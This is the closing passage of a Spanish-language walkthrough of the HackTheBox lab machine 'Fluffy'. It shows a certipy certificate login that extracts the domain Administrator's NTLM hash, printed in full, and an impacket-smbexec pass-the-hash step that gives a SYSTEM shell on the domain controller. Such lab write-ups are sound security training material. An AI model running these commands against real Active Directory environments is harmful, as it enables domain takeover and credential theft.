userPrincipalName : ca_svc@fluffy.htb
[*] Successfully updated 'ca_svc'
Donde hemos restaurado el UPN
de la cuenta ca_svc
a su valor original ca_svc@fluffy.htb
.
Finalmente, podemos usar el certificado .pfx
para solicitar el hash NTLM
del usuario objetivo (Administrator
):
❯ faketime "$(ntpdate -q fluffy.htb | cut -d ' ' -f 1,2)" certipy auth -pfx administrator.pfx -domain fluffy.htb -dc-ip 10.129.226.137
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
GG. Hemos obtenido el hash NTLM del usuario Administrator
.
Podemos utilizar una herramienta como impacket-smbexec
para conectarnos a la máquina víctima como el usuario nt authority/system
usando el hash NTLM extraído del usuario Administrator
a través de un Pass The Hash
:
❯ impacket-smbexec fluffy.htb/Administrator@DC01.fluffy.htb -hashes ':8da83a3fa618b6e3a00e93f676c92a6e'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
Podemos extraer la flag root.txt
en el Desktop del usuario Administrator
.
~Happy Hacking.